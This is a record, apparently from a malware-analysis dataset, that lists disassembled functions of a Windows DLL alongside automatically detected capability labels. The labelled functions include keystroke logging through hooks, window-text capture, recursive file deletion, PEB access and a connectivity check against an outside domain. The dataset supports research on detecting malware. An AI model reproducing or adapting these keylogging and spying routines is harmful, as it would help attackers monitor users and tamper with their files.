joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a4b0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x308
mov eax, dword [0x100778dc]
push esi
push edi
mov dword [esp + 0x30c], eax
xor esi, esi
mov word [esp + 8], si
xor eax, eax
mov ecx, 0x7f
lea edi, [esp + 0xa]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call fcn.10026ca0
test al, al
push 0x100
jne 0x1000a53c
lea eax, [esp + 0x20c]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
jle 0x1000a54a
push 0x100
lea ecx, [esp + 0xc]
push ecx
push eax
lea edx, [esp + 0x214]
push edx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov esi, eax
test esi, esi
jne 0x1000a54a
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor al, al
mov ecx, dword [esp + 0x30c]
call fcn.1004189e
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0xc]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov esi, eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [esi + esi]
push edx
lea eax, [esp + 0x10]
push eax
call fcn.1003dcf0
mov ecx, dword [esp + 0x318]
add esp, 0xc
call fcn.1004189e
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000c430
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x1004f9a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
call fcn.10010280
mov dword [esi + 4], eax
mov cl, 1
mov byte [eax + 0x15], cl
mov eax, dword [esi + 4]
mov dword [eax + 4], eax
mov eax, dword [esi + 4]
mov dword [eax], eax
mov eax, dword [esi + 4]
mov dword [eax + 8], eax
xor eax, eax
mov dword [esi + 8], eax
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], eax
mov byte [esi + 0x29], cl
mov ecx, dword [esp + 8]
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x1c], eax
mov byte [esi + 0x28], al
mov byte [esi + 0x3c], al
mov dword [esi + 0xc], 0x10078b00
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x1000c630
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push 0xffffffffffffffff
push 0x1004fa4b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [0x10078ad4]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
xor esi, esi
cmp eax, esi
jne 0x1000c688
push 0x40
call fcn.1003fa82
add esp, 4
mov dword [esp + 4], eax
cmp eax, esi
mov dword [esp + 0x10], esi
je 0x1000c678
mov ecx, eax
call fcn.1000c430
mov esi, eax
mov ecx, dword [0x10078ad4]
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov eax, esi
mov ecx, dword [esp + 8]
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x1000c6a0
Capabilities:
Set thread local storage value

Disassembly:
push esi
call fcn.1000c630
mov esi, eax
mov eax, dword [esp + 8]
push eax
mov ecx, esi
call fcn.1000bbc0
test al, al
je 0x1000c6db
mov ecx, dword [0x10078ad4]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test esi, esi
je 0x1000c6db
mov ecx, esi
call fcn.1000bb70
push esi
call fcn.1004119d
add esp, 4
pop esi
ret
Function at 0x1000d300
Capabilities:
Log keystrokes via application hook

Disassembly:
push 0xffffffffffffffff
push 0x1004fa28
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push 0x10078ae4
mov dword [esp + 4], 0x10078ae4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [esp + 0xc], 0
call fcn.1000c630
mov cl, byte [eax + 0x29]
test cl, cl
je 0x1000d347
mov byte [eax + 0x29], 0
inc dword [0x10078acc]
mov eax, dword [0x10078ad0]
test eax, eax
je 0x1000d357
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push eax
push 0x1000d0d0
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
push 0x10078ae4
mov dword [0x10078ad0], eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x1000d390
Capabilities:
Log keystrokes via application hook
Set global application hook

Disassembly:
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.1000d300
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebp, dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov edi, eax
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x1000d3b3
push eax
call ebp
mov ebx, dword [sym.imp.USER32.dll_SetWindowsHookExA]
push edi
push 0
push 0x1000cb80
push 9
call ebx
mov dword [esi + 0x1c], eax
mov eax, dword [esi + 0x10]
test eax, eax
je 0x1000d3d2
push eax
call ebp
push edi
push 0
push 0x1000d170
push 2
call ebx
mov dword [esi + 0x10], eax
mov eax, dword [esi + 0x14]
test eax, eax
je 0x1000d3eb
push eax
call ebp
push edi
push 0
push 0x1000d250
push 7
call ebx
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0x18]
test eax, eax
je 0x1000d404
push eax
call ebp
push edi
push 0
push 0x1000d210
push 5
call ebx
mov dword [esi + 0x18], eax
mov eax, dword [esi + 0x20]
test eax, eax
je 0x1000d41d
push eax
call ebp
push edi
push 0
push 0x1000cbc0
push 4
call ebx
mov dword [esi + 0x20], eax
mov eax, dword [esi + 0x24]
test eax, eax
je 0x1000d436
push eax
call ebp
push edi
push 0
push 0x1000cd00
push 3
call ebx
pop edi
mov dword [esi + 0x24], eax
pop esi
pop ebp
pop ebx
ret
Function at 0x1000dc30
Capabilities:
Get graphical window text

Disassembly:
push 0xffffffffffffffff
push 0x1004fa6b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x344
mov eax, dword [0x100778dc]
push ebp
mov ebp, dword [esp + 0x358]
push esi
push edi
push 0
push 0
mov esi, ecx
push 0
lea ecx, [esp + 0x11c]
mov dword [esp + 0x358], eax
call fcn.10025790
mov ecx, dword [esi + 4]
test ecx, ecx
mov dword [esp + 0x358], 0
je 0x1000dd65
mov eax, dword [esi + 8]
sub eax, ecx
sar eax, 2
test eax, eax
jbe 0x1000dd65
push 0x100
lea eax, [esp + 0x14]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetClassNameA]
mov eax, dword [esi + 4]
mov ecx, dword [eax]
push ecx
lea ecx, [esp + 0x114]
call fcn.10025730
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
push eax
lea edx, [esp + 0x14]
push edx
call edi
test eax, eax
jne 0x1000dd65
mov eax, dword [esi + 0x14]
test eax, eax
je 0x1000dd0c
push 0x100
lea eax, [esp + 0x14]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x1000dd65
mov eax, dword [esi + 0x14]
push eax
lea ecx, [esp + 0x114]
call fcn.10025730
push eax
lea ecx, [esp + 0x14]
push ecx
call edi
test eax, eax
jne 0x1000dd65
mov byte [ebp], 1
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x1000dd28
mov eax, dword [esi + 8]
sub eax, ecx
sar eax, 2
cmp eax, 1
jne 0x1000dd28
mov esi, ebx
jmp 0x1000dd4a
mov dl, byte [esi + 0x18]
mov byte [esp + 0xc], dl
mov eax, dword [esp + 0xc]
push eax
lea ecx, [esp + 0x114]
push ecx
push 1
push esi
push ebx
call fcn.1000db10
add esp, 0x14
mov esi, eax
lea ecx, [esp + 0x110]
mov dword [esp + 0x358], 0xffffffff
call fcn.10025660
mov eax, esi
jmp 0x1000dd82
lea ecx, [esp + 0x110]
mov byte [ebp], 0
mov dword [esp + 0x358], 0xffffffff
call fcn.10025660
xor eax, eax
mov ecx, dword [esp + 0x350]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x344]
pop ebp
call fcn.1004189e
add esp, 0x350
ret
Function at 0x1000fd60
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1004fb8b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x298
mov eax, dword [0x100778dc]
push ebx
mov ebx, ecx
mov dword [esp + 0x294], eax
xor eax, eax
push esi
push edi
mov dword [esp + 0x14], ebx
mov dword [ebx + 4], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], eax
mov ecx, dword [ebp + 8]
mov dword [esp + 0x2ac], eax
lea eax, [esp + 0x158]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x1000fe0b
mov al, byte [ebp + 0xc]
test al, al
mov ecx, 0x50
lea esi, [esp + 0x158]
lea edi, [esp + 0x18]
rep movsd dword es:[edi], dword [esi]
je 0x1000fde8
mov edx, dword [esp + 0x18]
shr edx, 4
test dl, 1
je 0x1000fdf4
lea eax, [esp + 0x18]
push eax
mov ecx, ebx
call fcn.1000fcd0
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x158]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000fdc3
mov ecx, dword [esp + 0x2a4]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x29c]
mov eax, ebx
call fcn.1004189e
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10011ff0
Capabilities:
Read file on windows

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [ecx]
push 0
lea eax, [esp + 0xc]
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10012014
or eax, 0xffffffff
ret 8
mov eax, dword [esp + 8]
ret 8

Function at 0x10012020
Capabilities:
Write file on windows

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [ecx]
push 0
lea eax, [esp + 0xc]
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10012044
or eax, 0xffffffff
ret 8
mov eax, dword [esp + 8]
ret 8

Function at 0x10012070
Capabilities:
Create directory

Disassembly:
sub esp, 0x108
mov eax, dword [0x100778dc]
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x11c]
mov bl, byte [edi]
mov dword [esp + 0x114], eax
xor al, al
test bl, bl
mov esi, edi
je 0x100120e4
mov ebp, 1
sub ebp, edi
mov edi, edi
cmp bl, 0x5c
jne 0x100120db
cmp esi, edi
jbe 0x100120db
cmp al, 0x3a
je 0x100120db
lea eax, [esi + ebp]
push eax
push edi
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x100120db
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x100120fd
inc esi
mov al, bl
mov bl, byte [esi]
test bl, bl
jne 0x100120a0
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov ecx, dword [esp + 0x104]
call fcn.1004189e
add esp, 0x108
ret
mov ecx, dword [esp + 0x114]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
call fcn.1004189e
add esp, 0x108
ret
Function at 0x10012170
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x34c
mov eax, dword [0x100778dc]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [esp + 0x350], eax
mov eax, dword [esp + 0x358]
push edi
push eax
lea ecx, [esp + 0x254]
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x10054298
lea edx, [esp + 0x254]
push edx
call edi
lea eax, [esp + 0x250]
push eax
lea ecx, [esp + 0x10]
push ecx
call esi
push 0x10054294
lea edx, [esp + 0x10]
push edx
call edi
lea eax, [esp + 0x110]
push eax
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10012275
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpA]
push 0x10054290
lea edx, [esp + 0x144]
push edx
call ebp
test eax, eax
je 0x1001225a
push 0x1005428c
lea eax, [esp + 0x144]
push eax
call ebp
test eax, eax
je 0x1001225a
lea ecx, [esp + 0x254]
push ecx
lea edx, [esp + 0x14]
push edx
call esi
lea eax, [esp + 0x140]
push eax
lea ecx, [esp + 0x14]
push ecx
call edi
test byte [esp + 0x114], 0x10
je 0x1001224f
lea edx, [esp + 0x10]
push edx
call fcn.10012170
add esp, 4
jmp 0x1001225a
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x114]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100121f2
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebp
mov edx, dword [esp + 0x35c]
push edx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov ecx, dword [esp + 0x354]
pop edi
pop esi
pop ebx
call fcn.1004189e
add esp, 0x34c
ret

Function at 0x100122a0
Capabilities:
Delete file
Move file

Disassembly:
sub esp, 0x108
mov eax, dword [0x100778dc]
push esi
mov esi, dword [esp + 0x110]
push edi
push esi
push 0x1005429c
mov dword [esp + 0x114], eax
lea eax, [esp + 0x10]
push 0x104
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfA]
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileA]
add esp, 0x10
lea ecx, [esp + 8]
push ecx
push esi
call edi
test eax, eax
je 0x1001231f
mov edx, dword [esp + 0x118]
push esi
push edx
call edi
test eax, eax
je 0x10012317
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
mov al, 1
pop esi
mov ecx, dword [esp + 0x104]
call fcn.1004189e
add esp, 0x108
ret
push esi
lea ecx, [esp + 0xc]
push ecx
call edi
mov ecx, dword [esp + 0x10c]
pop edi
xor al, al
pop esi
call fcn.1004189e
add esp, 0x108
ret
Function at 0x10014c40
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x100778dc]
mov dword [esp + 0x190], eax
mov al, byte [0x1007a420]
test al, al
jne 0x10014c8a
lea eax, [esp]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x10014c85
mov al, 1
mov byte [0x1007a420], al
mov ecx, dword [esp + 0x190]
call fcn.1004189e
add esp, 0x194
ret
mov al, byte [0x1007a420]
mov ecx, dword [esp + 0x190]
call fcn.1004189e
add esp, 0x194
ret

Function at 0x10014ca0
Capabilities:
Check internet connectivity via wininet
Create udp socket
Resolve dns

Disassembly:
sub esp, 0x304
mov eax, dword [0x100778dc]
push ebx
mov dword [esp + 0x304], eax
xor ebx, ebx
call fcn.10014c40
test al, al
je 0x10014d8f
push ebx
lea eax, [esp + 8]
push eax
mov dword [esp + 0xc], ebx
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
mov ecx, dword [esp + 4]
and ecx, 0x20
cmp cl, 0x20
jne 0x10014cf4
xor al, al
pop ebx
mov ecx, dword [esp + 0x300]
call fcn.1004189e
add esp, 0x304
ret
push edi
push ebx
push ebx
push ebx
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10014d8e
push ebx
push ebx
lea edx, [esp + 0x14]
push edx
push 0x2f8
lea eax, [esp + 0x20]
push eax
push ebx
push ebx
push 0x4004747f
push edi
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
jne 0x10014d87
mov ecx, dword [esp + 0xc]
mov eax, 0xaf286bcb
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
push esi
shr ecx, 6
xor esi, esi
cmp ecx, ebx
jbe 0x10014d86
lea eax, [esp + 0x1c]
mov edx, dword [eax - 8]
test dl, 1
je 0x10014d62
test dl, 4
jne 0x10014d62
cmp dword [eax], ebx
jne 0x10014d6c
inc esi
add eax, 0x4c
cmp esi, ecx
jb 0x10014d51
jmp 0x10014d86
cmp byte [esp + 0x314], bl
je 0x10014d84
push str.www.zumie.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10014d86
mov bl, 1
pop esi
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
mov ecx, dword [esp + 0x304]
mov al, bl
pop ebx
call fcn.1004189e
add esp, 0x304
ret

Function at 0x100168b0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100502a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push esi
push 2
mov esi, ecx
push 0x100536cc
lea ecx, [esp + 0xc]
mov dword [esp + 0x24], 0xf
mov dword [esp + 0x20], 0
mov byte [esp + 0x10], 0
call fcn.10001410
lea eax, [esi + 4]
push eax
lea ecx, [esp + 8]
push ecx
mov ecx, esi
mov dword [esp + 0x30], 0
call fcn.10016700
cmp dword [esp + 0x1c], 0x10
jb 0x1001691c
mov edx, dword [esp + 8]
push edx
call fcn.1004119d
add esp, 4
mov ecx, dword [esp + 0x20]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x28
ret
Function at 0x10016930
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100502a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push esi
push 3
mov esi, ecx
push 0x1005447c
lea ecx, [esp + 0xc]
mov dword [esp + 0x24], 0xf
mov dword [esp + 0x20], 0
mov byte [esp + 0x10], 0
call fcn.10001410
lea eax, [esi + 0x20]
push eax
lea ecx, [esp + 8]
push ecx
mov ecx, esi
mov dword [esp + 0x30], 0
call fcn.10016700
cmp dword [esp + 0x1c], 0x10
jb 0x1001699c
mov edx, dword [esp + 8]
push edx
call fcn.1004119d
add esp, 4
mov ecx, dword [esp + 0x20]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x28
ret

Function at 0x100169b0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100502a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push esi
push 7
mov esi, ecx
push 0x10054480
lea ecx, [esp + 0xc]
mov dword [esp + 0x24], 0xf
mov dword [esp + 0x20], 0
mov byte [esp + 0x10], 0
call fcn.10001410
lea eax, [esi + 0x58]
push eax
lea ecx, [esp + 8]
push ecx
mov ecx, esi
mov dword [esp + 0x30], 0
call fcn.10016700
cmp dword [esp + 0x1c], 0x10
jb 0x10016a1c
mov edx, dword [esp + 8]
push edx
call fcn.1004119d
add esp, 4
mov ecx, dword [esp + 0x20]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x28
ret

Function at 0x10016a30
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100502a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push esi
push 4
mov esi, ecx
push 0x100536d8
lea ecx, [esp + 0xc]
mov dword [esp + 0x24], 0xf
mov dword [esp + 0x20], 0
mov byte [esp + 0x10], 0
call fcn.10001410
lea eax, [esi + 0x74]
push eax
lea ecx, [esp + 8]
push ecx
mov ecx, esi
mov dword [esp + 0x30], 0
call fcn.10016700
cmp dword [esp + 0x1c], 0x10
jb 0x10016a9c
mov edx, dword [esp + 8]
push edx
call fcn.1004119d
add esp, 4
mov ecx, dword [esp + 0x20]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x28
ret

Function at 0x10016ab0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100502a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push esi
push 2
mov esi, ecx
push 0x100536bc
lea ecx, [esp + 0xc]
mov dword [esp + 0x24], 0xf
mov dword [esp + 0x20], 0
mov byte [esp + 0x10], 0
call fcn.10001410
lea eax, [esi + 0xac]
push eax
lea ecx, [esp + 8]
push ecx
mov ecx, esi
mov dword [esp + 0x30], 0
call fcn.10016700
cmp dword [esp + 0x1c], 0x10
jb 0x10016b1f
mov edx, dword [esp + 8]
push edx
call fcn.1004119d
add esp, 4
mov ecx, dword [esp + 0x20]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x28
ret
Function at 0x10016b40
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100502a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push esi
push 1
mov esi, ecx
push 0x10054488
lea ecx, [esp + 0xc]
mov dword [esp + 0x24], 0xf
mov dword [esp + 0x20], 0
mov byte [esp + 0x10], 0
call fcn.10001410
lea eax, [esi + 0xc8]
push eax
lea ecx, [esp + 8]
push ecx
mov ecx, esi
mov dword [esp + 0x30], 0
call fcn.10016700
cmp dword [esp + 0x1c], 0x10
jb 0x10016baf
mov edx, dword [esp + 8]
push edx
call fcn.1004119d
add esp, 4
mov ecx, dword [esp + 0x20]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x28
ret

Function at 0x10016bd0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100502a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push esi
push 2
mov esi, ecx
push 0x1005448c
lea ecx, [esp + 0xc]
mov dword [esp + 0x24], 0xf
mov dword [esp + 0x20], 0
mov byte [esp + 0x10], 0
call fcn.10001410
lea eax, [esi + 0xe4]
push eax
lea ecx, [esp + 8]
push ecx
mov ecx, esi
mov dword [esp + 0x30], 0
call fcn.10016700
cmp dword [esp + 0x1c], 0x10
jb 0x10016c3f
mov edx, dword [esp + 8]
push edx
call fcn.1004119d
add esp, 4
mov ecx, dword [esp + 0x20]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x28
ret

Function at 0x10016c60
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100502a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push esi
push 2
mov esi, ecx
push 0x10054490
lea ecx, [esp + 0xc]
mov dword [esp + 0x24], 0xf
mov dword [esp + 0x20], 0
mov byte [esp + 0x10], 0
call fcn.10001410
lea eax, [esi + 0x100]
push eax
lea ecx, [esp + 8]
push ecx
mov ecx, esi
mov dword [esp + 0x30], 0
call fcn.10016700
cmp dword [esp + 0x1c], 0x10
jb 0x10016ccf
mov edx, dword [esp + 8]
push edx
call fcn.1004119d
add esp, 4
mov ecx, dword [esp + 0x20]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x28
ret

Function at 0x10017010
Capabilities:
Allocate thread local storage

Disassembly:
sub esp, 0x108
mov eax, dword [0x100778dc]
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0x10c]
mov dword [0x1007a438], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call fcn.1000a1b0
push 0x104
lea ecx, [esp + 4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esp]
dec ecx
add eax, ecx
lea edx, [esp]
cmp eax, edx
jbe 0x1001706f
cmp byte [eax], 0x5c
je 0x1001706f
dec eax
lea ecx, [esp]
cmp eax, ecx
ja 0x10017062
push str.iexplore.exe
inc eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x10017085
call fcn.1001fc90
mov ecx, dword [esp + 0x104]
call fcn.1004189e
add esp, 0x108
ret
Function at 0x100170b0
Capabilities:
Query environment variable
Set environment variable

Disassembly:
sub esp, 0x48
mov eax, dword [0x100778dc]
push str.zkAgEaKUVNKCdJ70UV6
mov dword [esp + 0x48], eax
call fcn.100254b0
add esp, 4
push 0x40
lea eax, [esp + 8]
push eax
push str.zkAgEaKUVNKCdJ70UV6
call fcn.100254b0
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x10017138
push esi
push 0
push str.zkAgEaKUVNKCdJ70UV6
call fcn.100254b0
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea ecx, [esp + 8]
push ecx
call fcn.10041ab5
add esp, 4
push eax
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10017137
push 0xbb8
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
mov dword [esp + 8], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov ecx, dword [esp + 0x44]
call fcn.1004189e
add esp, 0x48
ret

Function at 0x10017480
Capabilities:
Get common file path

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0
push 0x23
push esi
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jne 0x100174a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor al, al
pop esi
ret
push edi
push str.ziAAMcK__qOzOGa9
call fcn.100254b0
mov edi, dword [sym.imp.SHLWAPI.dll_PathAppendA]
add esp, 4
push eax
push esi
call edi
push str.7iAAMcL2L3XnPnb_FO
call fcn.100254b0
add esp, 4
push eax
push esi
call edi
pop edi
mov al, 1
pop esi
ret